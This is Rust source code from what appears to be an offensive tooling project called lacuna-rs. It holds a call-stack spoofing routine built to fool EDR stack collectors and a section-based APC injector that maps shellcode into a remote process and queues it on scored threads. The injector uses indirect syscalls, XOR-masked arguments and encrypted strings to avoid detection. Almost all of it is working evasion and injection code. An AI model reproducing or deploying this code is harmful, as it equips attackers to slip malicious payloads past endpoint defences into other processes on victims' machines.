let mut g_ghost_gadget: ULONG64 = 0;
let mut g_ghost_mod: u8 = 0;
let mut gg = [GhostGadget { va: 0, parent: [0; 64] }; 8];
let ngg = scan::scan_ghost_gadgets(&ng[..n_ng], b"ntdll\0", &mut gg);
if ngg > 0 {
g_ghost_gadget = gg[0].va;
g_ghost_mod = 1;
} else {
let ngg2 = scan::scan_ghost_gadgets(&kg[..n_kg], b"kernelbase\0", &mut gg);
if ngg2 > 0 {
g_ghost_gadget = gg[0].va;
g_ghost_mod = 2;
}
}
if g_ghost_gadget != 0 {
stub::G_GHOST_GADGET.store(g_ghost_gadget, Ordering::Relaxed);
stub::G_GHOST_MOD.store(g_ghost_mod, Ordering::Relaxed);
}
// L1 — wow64 ghost (fallback: nearest ntdll ghost).
let mut g1 = scan::best_ghost(&wg[..n_wg], b"Wow64PrepareForException");
if g1.is_none() {
g1 = scan::best_ghost(&wg[..n_wg], b"Wow64KiUserCallbackDispatcher");
}
let l1 = if let Some(g) = g1 {
g.va_start + g.size as ULONG64 / 2
} else {
let g3pre = scan::best_ghost(&ng[..n_ng], b"RtlCreateUserThread")
.or_else(|| scan::best_ghost(&ng[..n_ng], b"NtAllocateVirtualMemory"));
let mut bf: Option<&Ghost> = None;
let mut bd = 0xFFFF_FFFFu32;
for k in 0..n_ng {
if let Some(pre) = g3pre {
if core::ptr::eq(&ng[k], pre) {
continue;
}
}
if ng[k].dist < bd {
bd = ng[k].dist;
bf = Some(&ng[k]);
}
}
let bf = bf.or(g3pre);
bf.map(|g| g.va_start + g.size as ULONG64 / 2)
.unwrap_or(ntdll as ULONG64 + 0x50F80)
};
// L2 — kernelbase ghost.
let g2 = scan::best_ghost(&kg[..n_kg], b"VirtualProtect")
.or_else(|| scan::best_ghost(&kg[..n_kg], b"VirtualAllocEx"));
let l2 = if g_ghost_mod == 2 {
g_ghost_gadget
} else {
g2.map(|g| g.va_start + g.size as ULONG64 / 2)
.unwrap_or(kbase as ULONG64 + 0x64180)
};
// L3 — ntdll ghost.
let g3 = scan::best_ghost(&ng[..n_ng], b"RtlCreateUserThread")
.or_else(|| scan::best_ghost(&ng[..n_ng], b"NtAllocateVirtualMemory"));
let l3 = if g_ghost_mod == 1 {
g_ghost_gadget
} else {
g3.map(|g| g.va_start + g.size as ULONG64 / 2)
.unwrap_or(ntdll as ULONG64 + 0x50F80)
};
// L4 — win32u nop gap.
let l4 = if !win32u.is_null() {
scan::win32u_nop_gap(win32u)
} else {
ng[0].va_start + 4
};
// L5 — RtlUserThreadStart+0x21.
let l5 = pe::export_va(ntdll, b"RtlUserThreadStart\0") + 0x21;
// L0 — BYOUD-MF anchor.
let l0 = scan::find_mf_target(ntdll);
// Allocate the LacunaStack + MF-walk buffer.
let total = core::mem::size_of::<LacunaStack>() + 0x100;
let m = unsafe {
VirtualAlloc(
core::ptr::null_mut(),
total,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
};
if m.is_null() {
return false;
}
let ls = m as *mut LacunaStack;
let mf_walk = unsafe { (ls as *mut u8).add(core::mem::size_of::<LacunaStack>()) } as *mut ULONG64;
unsafe {
// MF walk buffer: L2→L3→L4→L5 in ascending-address order.
*mf_walk.add(0) = l2;
*mf_walk.add(1) = l3;
*mf_walk.add(2) = l4;
*mf_walk.add(3) = l5;
(*ls).L5_thread_root = l5;
(*ls).L4_win32u = l4;
(*ls).L3_ntdll = l3;
(*ls).L2_kbase = l2;
(*ls).L1_wow64 = l1;
(*ls).mf.Rip = l1;
(*ls).mf.Cs = 0x0033;
(*ls).mf.EFlags = 0x0000_0202;
(*ls).mf.Rsp = mf_walk as ULONG64;
(*ls).mf.Ss = 0x002B;
(*ls).mf_trigger = l0;
}
G_LS.store(ls as ULONG64, Ordering::Relaxed);
G_CHAIN_RSP.store(unsafe { &(*ls).mf as *const _ as ULONG64 }, Ordering::Relaxed);
G_MF_WALK.store(mf_walk as ULONG64, Ordering::Relaxed);
true
}
// ── stomp_plant / stomp_restore ──────────────────────────────────────────────
pub const STOMP_DEPTH: usize = 4;
/// Write L1L4 into the return-address slot of the caller and the three
/// dead shadow words above it.
///
/// Ported from stomp_plant(). This must be `#[inline(never)]` so the
/// # Warning: Frame-Pointer Requirement
///
/// This function uses `mov rbp, {x}` inline asm to locate the caller's
/// frame. It **requires** the consuming crate to be compiled with
/// `-C force-frame-pointers=yes`. Without it, RBP will not point to a
/// valid frame and this function will silently no-op or corrupt the stack.
///
/// Add to your `.cargo/config.toml`:
/// ``toml
/// [build]
/// rustflags = [`-C`, `force-frame-pointers=yes`]
/// ``
/// frame-pointer walk lands on the intended caller.
#[inline(never)]
pub fn stomp_plant() {
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
if ls.is_null() {
return;
}
let layers: [ULONG64; STOMP_DEPTH] = unsafe {
[
(*ls).L1_wow64,
(*ls).L2_kbase,
(*ls).L3_ntdll,
(*ls).L4_win32u,
]
};
let stack_base = teb_stack_base();
let stack_limit = teb_stack_limit();
// `__builtin_frame_address(1)` — get the caller's frame.
let frame: *mut ULONG64 = unsafe {
let mut fp: *mut ULONG64;
core::arch::asm!(
"mov {0}, [rbp]",
out(reg) fp,
options(nostack, preserves_flags),
);
fp
};
if frame.is_null()
|| (frame as ULONG64) < stack_limit
|| (frame as ULONG64) >= stack_base
{
return;
}
unsafe {
for d in 0..STOMP_DEPTH {
let slot = frame.add(1 + d);
crate::veh::G_STOMP_PTRS[d].store(slot as ULONG64, Ordering::Relaxed);
crate::veh::G_STOMP_SLOTS[d].store(*slot, Ordering::Relaxed);
*slot = layers[d];
}
crate::veh::G_STOMP_SAVED.store(*frame.add(1), Ordering::Relaxed);
}
}
/// Restore the stomped stack slots.
///
/// Ported from stomp_restore().
pub fn stomp_restore() {
for d in 0..STOMP_DEPTH {
let ptr = crate::veh::G_STOMP_PTRS[d].load(Ordering::Relaxed);
if ptr != 0 {
let val = crate::veh::G_STOMP_SLOTS[d].load(Ordering::Relaxed);
unsafe {
*(ptr as *mut ULONG64) = val;
}
}
}
}
// ── lacuna_walk_chain (verify) ───────────────────────────────────────────────
/// Walk the chain the same way an EDR stack collector would, using
/// RtlLookupFunctionEntry + RtlVirtualUnwind.
///
/// Ported from lacuna_walk_chain(). Prints the full stack-frame trace
/// (each frame's RIP, whether it has a RUNTIME_FUNCTION, and its layer
/// label), then runs a second BYOUD-MF pass from mf_trigger.
///
/// Returns true if all 5 layers were seen in the primary walk.
#[allow(unused_unsafe)]
pub fn walk_chain() -> bool {
let ntdll = get_module(b"ntdll.dll\0");
let lookup_fe_ptr = get_proc(ntdll, b"RtlLookupFunctionEntry\0");
let vu_ptr = get_proc(ntdll, b"RtlVirtualUnwind\0");
if lookup_fe_ptr.is_none() || vu_ptr.is_none() {
eprintln!("{}", lc!("[-] can't resolve unwind apis"));
return false;
}
let lookup_fe: PRtlLookupFunctionEntry =
unsafe { core::mem::transmute(lookup_fe_ptr.unwrap()) };
let vu: PRtlVirtualUnwind =
unsafe { core::mem::transmute(vu_ptr.unwrap()) };
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
if ls.is_null() {
return false;
}
let l1 = unsafe { (*ls).L1_wow64 };
let l2 = unsafe { (*ls).L2_kbase };
let l3 = unsafe { (*ls).L3_ntdll };
let l4 = unsafe { (*ls).L4_win32u };
let l5 = unsafe { (*ls).L5_thread_root };
// ── Primary walk: L1 → L2 → L3 → L4 → L5 ──────────────────────────
//
// Chain buffer: L2→L3→L4→L5 in ascending-address order so the
// leaf RSP+=8 walk reads the correct next return address.
let chain: [ULONG64; 4] = [l2, l3, l4, l5];
let mut ctx: CONTEXT = unsafe { core::mem::zeroed() };
ctx.ContextFlags = CONTEXT_FULL;
unsafe {
ctx.Rip = l1;
ctx.Rsp = &chain as *const _ as ULONG64;
}
let lnames: [&str; 5] = [
"L1 wow64 ghost (Wow64PrepareForException)",
"L2 kbase ghost (VirtualProtect)",
"L3 ntdll ghost (RtlCreateUserThread)",
"L4 win32u nop gap",
"L5 RtlUserThreadStart+0x21",
];
println!("[*] walking chain (same path as EDR stack collector)\n");
let mut seen = [false; 5];
let mut hits = 0;
for i in 0..20 {
if ctx.Rip == 0 {
break;
}
let mut imgbase: DWORD64 = 0;
let mut hist: UNWIND_HISTORY_TABLE = unsafe { core::mem::zeroed() };
let rf = unsafe { lookup_fe(ctx.Rip, &mut imgbase, &mut hist) };
let (lbl, li): (&str, Option<usize>) = if ctx.Rip == l1 {
(lnames[0], Some(0))
} else if ctx.Rip == l2 {
(lnames[1], Some(1))
} else if ctx.Rip == l3 {
(lnames[2], Some(2))
} else if ctx.Rip == l4 {
(lnames[3], Some(3))
} else if ctx.Rip == l5 {
(lnames[4], Some(4))
} else {
("", None)
};
if let Some(idx) = li {
if !seen[idx] {
seen[idx] = true;
hits += 1;
}
}
println!(
" [{:2}] {:016x} {:<8} {}",
i,
ctx.Rip,
if rf.is_null() { "ghost" } else { "rf" },
lbl
);
if hits == 5 {
println!(" (thread root — stopping)");
break;
}
if rf.is_null() {
// Leaf frame: no RUNTIME_FUNCTION — unwinder does RSP += 8.
unsafe {
ctx.Rip = *(ctx.Rsp as *const ULONG64);
ctx.Rsp += 8;
}
} else {
// Has RUNTIME_FUNCTION — use RtlVirtualUnwind.
let mut hd: PVOID = core::ptr::null_mut();
let mut ef: DWORD64 = 0;
unsafe {
vu(
0,
imgbase,
ctx.Rip,
rf,
&mut ctx,
&mut hd,
&mut ef,
core::ptr::null_mut(),
);
}
}
}
println!();
for i in 0..5 {
println!(" {} {}", if seen[i] { "[+]" } else { "[ ]" }, lnames[i]);
}
let ok = seen.iter().all(|&s| s);
println!(
"\n{} all layers {}",
if ok { "[+]" } else { "[!]" },
if ok {
"ghost — chain is clean"
} else {
"PARTIAL — check addresses above"
}
);
// ── BYOUD-MF pass: walk from mf_trigger through the machine frame ─
//
// The unwinder hits KiUserExceptionDispatcher's UWOP_PUSH_MACHFRAME,
// reads Rip=L1 and Rsp=&g_mf_walk[0], then continues L1→L2→L3→L4→L5.
let mf_trigger = unsafe { (*ls).mf_trigger };
println!(
"\n[*] BYOUD-MF pass: starting from mf_trigger (L0={:016x})\n",
mf_trigger
);
let mut mf_ctx: CONTEXT = unsafe { core::mem::zeroed() };
mf_ctx.ContextFlags = CONTEXT_FULL;
unsafe {
mf_ctx.Rip = mf_trigger;
mf_ctx.Rsp = &(*ls).mf as *const _ as ULONG64;
}
let mf_names: [&str; 6] = [
"L0 MF anchor (KiUserExceptionDispatcher)",
"L1 wow64 ghost",
"L2 kbase ghost",
"L3 ntdll ghost",
"L4 win32u nop gap",
"L5 RtlUserThreadStart+0x21",
];
let mut mf_seen = [false; 6];
let mut mf_hits = 0;
for i in 0..20 {
if mf_ctx.Rip == 0 {
break;
}
let mut imgbase: DWORD64 = 0;
let mut hist: UNWIND_HISTORY_TABLE = unsafe { core::mem::zeroed() };
let rf = unsafe { lookup_fe(mf_ctx.Rip, &mut imgbase, &mut hist) };
let li: Option<usize> = if mf_ctx.Rip == mf_trigger {
Some(0)
} else if mf_ctx.Rip == l1 {
Some(1)
} else if mf_ctx.Rip == l2 {
Some(2)
} else if mf_ctx.Rip == l3 {
Some(3)
} else if mf_ctx.Rip == l4 {
Some(4)
} else if mf_ctx.Rip == l5 {
Some(5)
} else {
None
};
if let Some(idx) = li {
if !mf_seen[idx] {
mf_seen[idx] = true;
mf_hits += 1;
}
}
let lbl = if let Some(idx) = li { mf_names[idx] } else { "" };
println!(
" [{:2}] {:016x} {:<8} {}",
i,
mf_ctx.Rip,
if rf.is_null() { "ghost" } else { "rf/MF" },
lbl
);
if mf_hits == 6 {
println!(" (thread root — stopping)");
break;
}
if rf.is_null() {
unsafe {
mf_ctx.Rip = *(mf_ctx.Rsp as *const ULONG64);
mf_ctx.Rsp += 8;
}
} else {
let mut hd: PVOID = core::ptr::null_mut();
let mut ef: DWORD64 = 0;
unsafe {
vu(
0,
imgbase,
mf_ctx.Rip,
rf,
&mut mf_ctx,
&mut hd,
&mut ef,
core::ptr::null_mut(),
);
}
}
}
println!();
for i in 0..6 {
println!(" {} {}", if mf_seen[i] { "[+]" } else { "[ ]" }, mf_names[i]);
}
let mf_ok = mf_seen[0] && mf_seen[1] && mf_seen[2];
println!(
"\n{} BYOUD-MF teleport {}",
if mf_ok { "[+]" } else { "[!]" },
if mf_ok {
"worked — RSP jumped through machine frame"
} else {
"partial — MF may need version-specific offsets"
}
);
ok
}
+576
View File
@@ -0,0 +1,576 @@
//
// inject.rs — Section-based APC injection for lacuna-rs
//
// Ported from lacuna_chain.c: do_inject_sapc().
//
// Thread selection algorithm ported from main.c: FindActiveApcThreads().
//
// All diagnostic output wrapped in litcrypt lc!() calls.
//
#![cfg(feature = "inject")]
#![allow(dead_code)]
#![allow(unused_imports)]
#![allow(unused_unsafe)]
#![allow(unused_variables)]
use crate::nt;
use crate::pe;
use crate::stub;
use crate::win::{
self, HANDLE, HMODULE, NTSTATUS, ULONG64, PVOID, SIZE_T,
LARGE_INTEGER,
OBJECT_ATTRIBUTES, CID, CLIENT_ID,
PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE,
SEC_COMMIT, SECTION_ALL_ACCESS, ViewUnmap,
PROCESS_VM_OPERATION, PROCESS_QUERY_INFORMATION,
THREAD_SET_CONTEXT, THREAD_ALERT, THREAD_QUERY_INFORMATION,
TH32CS_SNAPTHREAD, INVALID_HANDLE_VALUE,
PNtOpenProcess, PNtCreateSection, PNtMapViewOfSection,
PNtUnmapViewOfSection, PNtOpenThread, PNtQueueApcThread,
PNtAlertThread, PNtClose, PNtQueryInformationThread,
nt_ok, get_module,
CreateToolhelp32Snapshot, Thread32First, Thread32Next,
CloseHandle, OpenThread, THREADENTRY32,
NtDelayExecution,
KERNEL_USER_TIMES, THREAD_CYCLE_TIME_INFORMATION, THREAD_BASIC_INFORMATION,
ThreadBasicInformation, ThreadTimes, ThreadCycleTime, ThreadSuspendCount,
};
use core::ptr;
use core::sync::atomic::Ordering;
extern crate alloc;
use alloc::vec::Vec;
use lc;
/// Maximum number of top-scoring threads to queue APCs to.
pub const MAX_APC_THREADS: usize = 5;
pub struct Syscalls {
pub open_proc: stub::Stub,
pub mk_sec: stub::Stub,
pub map_view: stub::Stub,
pub unmap_view: stub::Stub,
pub open_thr: stub::Stub,
pub queue_apc: stub::Stub,
pub alert_thr: stub::Stub,
pub nt_close: stub::Stub,
pub prot_vm: stub::Stub,
pub srs: [ULONG64; 9],
}
impl Syscalls {
pub fn resolve(ntdll: HMODULE) -> Option<Self> {
const NAMES: &[&[u8]] = &[
b"NtOpenProcess\0",
b"NtCreateSection\0",
b"NtMapViewOfSection\0",
b"NtUnmapViewOfSection\0",
b"NtOpenThread\0",
b"NtQueueApcThread\0",
b"NtAlertThread\0",
b"NtClose\0",
b"NtProtectVirtualMemory\0",
];
let mut srs = [0u64; 9];
let mut stubs: Vec<Option<stub::Stub>> = Vec::with_capacity(9);
for i in 0..9 {
let (ssn, sr) = nt::resolve(ntdll, NAMES[i]);
srs[i] = sr;
stubs.push(stub::make_stub(ssn, sr));
}
for i in 0..9 {
let ssn = nt::resolve_ssn(ntdll, NAMES[i]);
let sr = srs[i];
let sr_off = if sr != 0 { sr - ntdll as ULONG64 } else { 0 };
let name = trim_cstr(NAMES[i]);
eprintln!(
"{}{:24} ssn={:02x} {}{:x}",
lc!("[*] "),
core::str::from_utf8(name).unwrap_or("?"),
ssn,
lc!("syscall;ret=ntdll+"),
sr_off,
);
}
Some(Syscalls {
open_proc: stubs[0].take()?,
mk_sec: stubs[1].take()?,
map_view: stubs[2].take()?,
unmap_view: stubs[3].take()?,
open_thr: stubs[4].take()?,
queue_apc: stubs[5].take()?,
alert_thr: stubs[6].take()?,
nt_close: stubs[7].take()?,
prot_vm: stubs[8].take()?,
srs,
})
}
}
fn trim_cstr(s: &[u8]) -> &[u8] {
let n = s.iter().position(|&b| b == 0).unwrap_or(s.len());
&s[..n]
}
pub const PKEY: u64 = 0xCAFE_1337;
#[inline]
fn ep(p: *mut ()) -> *mut () {
#[cfg(feature = "veh")]
{ (p as usize ^ PKEY as usize) as *mut () }
#[cfg(not(feature = "veh"))]
{ p }
}
#[inline]
fn ep_u32(v: u32) -> u32 {
#[cfg(feature = "veh")]
{ v ^ PKEY as u32 }
#[cfg(not(feature = "veh"))]
{ v }
}
#[inline]
fn ep_handle(h: HANDLE) -> HANDLE {
#[cfg(feature = "veh")]
{ (h as usize ^ PKEY as usize) as HANDLE }
#[cfg(not(feature = "veh"))]
{ h }
}
#[inline]
fn ep_usize(v: usize) -> usize {
#[cfg(feature = "veh")]
{ v ^ PKEY as usize }
#[cfg(not(feature = "veh"))]
{ v }
}
// ── Thread scoring algorithm (ported from main.c: FindActiveApcThreads) ───────
/// A thread candidate with its activity score.
struct ThreadCandidate {
tid: u32,
score: i64,
cycles: u64,
cpu_time: u64,
priority: i32,
suspend_count: u32,
}
/// Resolve NtQueryInformationThread from ntdll at runtime.
fn resolve_nt_query_info_thread(ntdll: HMODULE) -> Option<PNtQueryInformationThread> {
let p = win::get_proc(ntdll, b"NtQueryInformationThread\0")?;
unsafe { Some(core::mem::transmute(p)) }
}
/// Query thread suspend count via NtQueryInformationThread.
fn query_suspend_count(nqit: PNtQueryInformationThread, h: HANDLE) -> u32 {
let mut sc: u32 = 999;
let status = unsafe {
nqit(h, ThreadSuspendCount, &mut sc as *mut _ as PVOID,
core::mem::size_of::<u32>() as u32, ptr::null_mut())
};
if nt_ok(status) { sc } else { 999 }
}
/// Query thread kernel+user time via NtQueryInformationThread.
fn query_cpu_time(nqit: PNtQueryInformationThread, h: HANDLE) -> u64 {
let mut times: KERNEL_USER_TIMES = unsafe { core::mem::zeroed() };
let status = unsafe {
nqit(h, ThreadTimes, &mut times as *mut _ as PVOID,
core::mem::size_of::<KERNEL_USER_TIMES>() as u32, ptr::null_mut())
};
if nt_ok(status) { times.UserTime + times.KernelTime } else { 0 }
}
/// Query thread cycle time via NtQueryInformationThread.
fn query_cycles(nqit: PNtQueryInformationThread, h: HANDLE) -> u64 {
let mut ci: THREAD_CYCLE_TIME_INFORMATION = unsafe { core::mem::zeroed() };
let status = unsafe {
nqit(h, ThreadCycleTime, &mut ci as *mut _ as PVOID,
core::mem::size_of::<THREAD_CYCLE_TIME_INFORMATION>() as u32, ptr::null_mut())
};
if nt_ok(status) { ci.AccumulatedCycles } else { 0 }
}
/// Query thread priority via NtQueryInformationThread.
fn query_priority(nqit: PNtQueryInformationThread, h: HANDLE) -> i32 {
let mut bi: THREAD_BASIC_INFORMATION = unsafe { core::mem::zeroed() };
let status = unsafe {
nqit(h, ThreadBasicInformation, &mut bi as *mut _ as PVOID,
core::mem::size_of::<THREAD_BASIC_INFORMATION>() as u32, ptr::null_mut())
};
if nt_ok(status) { bi.Priority } else { 9 }
}
/// Score a thread based on activity, suspend state, and priority.
fn score_thread(cycles: u64, cpu_time: u64, suspend_count: u32, priority: i32) -> i64 {
let mut score: i64 = 0;
// Activity (primary factor)
score += (cycles as i64) / 1_000_000;
score += (cpu_time as i64) / 100_000;
// Bonuses for active threads
if suspend_count == 0 { score += 300; }
if priority >= 8 && priority <= 10 { score += 150; }
if cycles > 5_000_000 { score += 100; }
// Penalties for problematic threads
if suspend_count > 0 { score -= 150 * suspend_count as i64; }
if priority < 1 || priority > 15 { score -= 100; }
score
}
/// Scan all threads in a process, score them, and return the top-N candidates.
///
/// Ported from main.c: FindActiveApcThreads().
fn find_active_apc_threads(pid: u32, max_candidates: usize, ntdll: HMODULE) -> Vec<ThreadCandidate> {
let nqit = match resolve_nt_query_info_thread(ntdll) {
Some(f) => f,
None => {
eprintln!("{}", lc!("[-] NtQueryInformationThread not found"));
return Vec::new();
}
};
let snap = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if snap == INVALID_HANDLE_VALUE {
eprintln!("{}", lc!("[-] thread snapshot failed"));
return Vec::new();
}
let mut te = THREADENTRY32 {
dwSize: core::mem::size_of::<THREADENTRY32>() as u32,
cntUsage: 0, th32ThreadID: 0, th32OwnerProcessID: 0,
tpBasePri: 0, tpDeltaPri: 0, dwFlags: 0,
};
let mut candidates: Vec<ThreadCandidate> = Vec::new();
let mut ok = unsafe { Thread32First(snap, &mut te) } != 0;
while ok {
if te.th32OwnerProcessID == pid {
let tid = te.th32ThreadID;
let h = unsafe {
OpenThread(
THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT,
0,
tid,
)
};
if !h.is_null() {
let sc = query_suspend_count(nqit, h);
let cpu_time = query_cpu_time(nqit, h);
let cycles = query_cycles(nqit, h);
// Skip completely idle threads
if cycles == 0 && cpu_time == 0 {
unsafe { CloseHandle(h) };
ok = unsafe { Thread32Next(snap, &mut te) } != 0;
continue;
}
let priority = query_priority(nqit, h);
let score = score_thread(cycles, cpu_time, sc, priority);
candidates.push(ThreadCandidate {
tid, score, cycles, cpu_time, priority, suspend_count: sc,
});
unsafe { CloseHandle(h) };
}
}
ok = unsafe { Thread32Next(snap, &mut te) } != 0;
}
unsafe { CloseHandle(snap) };
// Sort: highest score first, tie-break on highest cycles
candidates.sort_by(|a, b| {
if a.score != b.score {
b.score.cmp(&a.score)
} else {
b.cycles.cmp(&a.cycles)
}
});
// Truncate to max_candidates
candidates.truncate(max_candidates);
for (i, c) in candidates.iter().enumerate() {
eprintln!(
"{}{}: {} {} ({} {}, {} {}, {} {}, {} {}, {} {})",
lc!("[+] Candidate "), i + 1,
lc!("TID "), c.tid,
lc!("Score: "), c.score,
lc!("Cycles: "), c.cycles,
lc!("CPU: "), c.cpu_time,
lc!("Pri: "), c.priority,
lc!("Suspend: "), c.suspend_count,
);
}
candidates
}
// ── Main injection function ───────────────────────────────────────────────────
/// Inject shellcode via section-based APC.
///
/// Set `verbose = true` to enable VEH diagnostic output.
pub fn inject_sapc(pid: u32, shellcode: &[u8]) -> Result<(), NTSTATUS> {
inject_sapc_verbose(pid, shellcode, false)
}
/// Inject shellcode via section-based APC with verbose flag.
pub fn inject_sapc_verbose(pid: u32, shellcode: &[u8], verbose: bool) -> Result<(), NTSTATUS> {
let ntdll = get_module(b"ntdll.dll\0");
let ntdll_base = ntdll as ULONG64;
#[cfg(feature = "veh")]
{
crate::veh::set_verbose(verbose);
let self_mod = unsafe { win::GetModuleHandleA(core::ptr::null()) };
if !self_mod.is_null() {
let base = self_mod as ULONG64;
let end = base + pe::size_of_image(self_mod);
crate::veh::G_EXE_BASE.store(base, Ordering::Relaxed);
crate::veh::G_EXE_END.store(end, Ordering::Relaxed);
if verbose {
eprintln!("{}{:016x}-{:016x}", lc!("[*] exe range for stack spoof: "), base, end);
}
}
}
let sc = Syscalls::resolve(ntdll).ok_or(0xC000_0001u32 as i32)?;
let ret_gadget = if sc.srs[7] != 0 { sc.srs[7] + 2 } else { 0 };
#[cfg(feature = "veh")]
{
crate::veh::G_RET_GADGET.store(ret_gadget, Ordering::Relaxed);
if ret_gadget != 0 && verbose {
eprintln!("{}{:x}", lc!("[*] ret gadget for stack spoof: ntdll+"), ret_gadget - ntdll_base);
}
}
#[cfg(feature = "veh")]
let _pcrypt_guard = crate::veh::PcryptVehGuard::register();
// -- NtOpenProcess --
let mut h_proc: HANDLE = ptr::null_mut();
let mut oa = OBJECT_ATTRIBUTES::default();
let cid = CID { UniqueProcess: pid as HANDLE, UniqueThread: ptr::null_mut() };
#[cfg(feature = "veh")]
crate::veh::pcrypt_arm(PKEY, sc.srs[0], true);
eprintln!("{}", lc!("[*] calling NtOpenProcess..."));
let open_proc: PNtOpenProcess = unsafe { core::mem::transmute(sc.open_proc.as_fn()) };
let status = unsafe {
open_proc(
ep(&mut h_proc as *mut _ as *mut _) as win::PHANDLE,
ep_u32(PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION),
ep(&mut oa as *mut _ as *mut _) as *mut OBJECT_ATTRIBUTES,
ep(&cid as *const _ as *mut _) as *mut CLIENT_ID,
)
};
if !nt_ok(status) {
eprintln!("{}{:08x}", lc!("[-] NtOpenProcess: "), status);
return Err(status);
}
eprintln!("{}{:p}{}{}", lc!("[+] proc "), h_proc, lc!(" pid "), pid);
#[cfg(feature = "veh")]
let _chain_guard = crate::veh::ChainVehGuard::register();
// -- stomp_plant --
#[cfg(feature = "stack-spoof")]
{
#[cfg(feature = "veh")]
crate::veh::pcrypt_disarm();
eprintln!("{}", lc!("[*] calling stomp_plant..."));
crate::chain::stomp_plant();
eprintln!("{}", lc!("[*] stomp_plant done"));
}
// -- NtCreateSection --
let mut h_sec: HANDLE = ptr::null_mut();
let mut sec_sz: LARGE_INTEGER = shellcode.len() as i64;
#[cfg(feature = "veh")]
{
if verbose {
eprintln!("{}{:x}", lc!("[*] arming pcrypt for NtCreateSection (srs[1]="), sc.srs[1]);
}
crate::veh::pcrypt_arm(PKEY, sc.srs[1], true);
}
eprintln!("{}", lc!("[*] calling NtCreateSection..."));
let mk_sec: PNtCreateSection = unsafe { core::mem::transmute(sc.mk_sec.as_fn()) };
let status = unsafe {
mk_sec(
ep(&mut h_sec as *mut _ as *mut _) as win::PHANDLE,
ep_u32(SECTION_ALL_ACCESS),
ep(ptr::null_mut()) as *mut OBJECT_ATTRIBUTES,
ep(&mut sec_sz as *mut _ as *mut _) as *mut LARGE_INTEGER,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, ptr::null_mut(),
)
};
if !nt_ok(status) {
eprintln!("{}{:08x}", lc!("[-] NtCreateSection: "), status);
unsafe { close_handle(&sc, h_proc) };
return Err(status);
}
eprintln!("{}{:p}", lc!("[+] section "), h_sec);
// -- NtMapViewOfSection (local, RW) --
let mut local_base: PVOID = ptr::null_mut();
let mut local_sz: SIZE_T = 0;
let map_view: PNtMapViewOfSection = unsafe { core::mem::transmute(sc.map_view.as_fn()) };
#[cfg(feature = "veh")]
crate::veh::pcrypt_arm(0, sc.srs[2], false);
let status = unsafe {
map_view(h_sec, win::CURRENT_PROCESS, &mut local_base, 0, shellcode.len(),
ptr::null_mut(), &mut local_sz, ViewUnmap, 0, PAGE_READWRITE)
};
if !nt_ok(status) {
eprintln!("{}{:08x}", lc!("[-] NtMapViewOfSection(local): "), status);
unsafe { close_handle(&sc, h_sec) };
unsafe { close_handle(&sc, h_proc) };
return Err(status);
}
eprintln!("{}{:p}", lc!("[+] local rw "), local_base);
// Write shellcode (double-XOR)
unsafe {
let dst = local_base as *mut u8;
for i in 0..shellcode.len() { *dst.add(i) = shellcode[i] ^ 0x5A; }
for i in 0..shellcode.len() { *dst.add(i) ^= 0x5A; }
}
eprintln!("{}{}{}", lc!("[+] shellcode written ("), shellcode.len(), lc!(" bytes)"));
// -- NtMapViewOfSection (remote, RX) --
let mut remote_base: PVOID = ptr::null_mut();
let mut remote_sz: SIZE_T = 0;
#[cfg(feature = "veh")]
crate::veh::pcrypt_arm(PKEY, sc.srs[2], false);
let status = unsafe {
map_view(
ep_handle(h_sec), ep_handle(h_proc),
ep(&mut remote_base as *mut _ as *mut _) as *mut PVOID,
ep_usize(0), shellcode.len(), ptr::null_mut(), &mut remote_sz,
ViewUnmap, 0, PAGE_EXECUTE_READ,
)
};
if !nt_ok(status) {
eprintln!("{}{:08x}", lc!("[-] NtMapViewOfSection(remote): "), status);
unsafe { close_handle(&sc, h_sec) };
unsafe { close_handle(&sc, h_proc) };
return Err(status);
}
eprintln!("{}{:p}", lc!("[+] remote rx "), remote_base);
// -- Unmap local + close section --
let unmap_view: PNtUnmapViewOfSection = unsafe { core::mem::transmute(sc.unmap_view.as_fn()) };
#[cfg(feature = "veh")]
crate::veh::pcrypt_arm(0, sc.srs[3], true);
eprintln!("{}{:p}", lc!("[*] unmapping local view (base="), local_base);
let unmap_status = unsafe { unmap_view(win::CURRENT_PROCESS, local_base) };
if verbose {
eprintln!("{}{:08x}", lc!("[*] unmap returned "), unmap_status);
}
eprintln!("{}", lc!("[*] closing section..."));
unsafe { close_handle(&sc, h_sec) };
// -- Select best threads for APC (scored, top-N) --
eprintln!("{}", lc!("[*] scanning threads for APC candidates..."));
let candidates = find_active_apc_threads(pid, MAX_APC_THREADS, ntdll);
if candidates.is_empty() {
eprintln!("{}", lc!("[-] no suitable thread candidates found"));
unsafe { close_handle(&sc, h_proc) };
return Err(0xC000_0022u32 as i32);
}
eprintln!("{}{}{}", lc!("[+] found "), candidates.len(), lc!(" candidate thread(s)"));
let open_thr: PNtOpenThread = unsafe { core::mem::transmute(sc.open_thr.as_fn()) };
let queue_apc: PNtQueueApcThread = unsafe { core::mem::transmute(sc.queue_apc.as_fn()) };
let alert_thr: PNtAlertThread = unsafe { core::mem::transmute(sc.alert_thr.as_fn()) };
let mut queued = 0;
for c in &candidates {
let tcid = CID { UniqueProcess: pid as HANDLE, UniqueThread: c.tid as HANDLE };
let mut toa = OBJECT_ATTRIBUTES::default();
let mut ht: HANDLE = ptr::null_mut();
#[cfg(feature = "veh")]
crate::veh::pcrypt_arm(0, sc.srs[4], true);
let ts = unsafe {
open_thr(&mut ht as *mut _ as win::PHANDLE,
THREAD_SET_CONTEXT | THREAD_ALERT,
&mut toa as *mut _ as *mut OBJECT_ATTRIBUTES,
&tcid as *const _ as *mut CLIENT_ID)
};
if nt_ok(ts) {
#[cfg(feature = "veh")]
crate::veh::pcrypt_arm(0, sc.srs[5], true);
let ts = unsafe { queue_apc(ht, remote_base, remote_base, ptr::null_mut(), ptr::null_mut()) };
if nt_ok(ts) {
eprintln!("{}{}", lc!("[+] apc tid "), c.tid);
#[cfg(feature = "veh")]
crate::veh::pcrypt_arm(0, sc.srs[6], true);
let _ = unsafe { alert_thr(ht) };
queued += 1;
}
unsafe { close_handle(&sc, ht) };
}
}
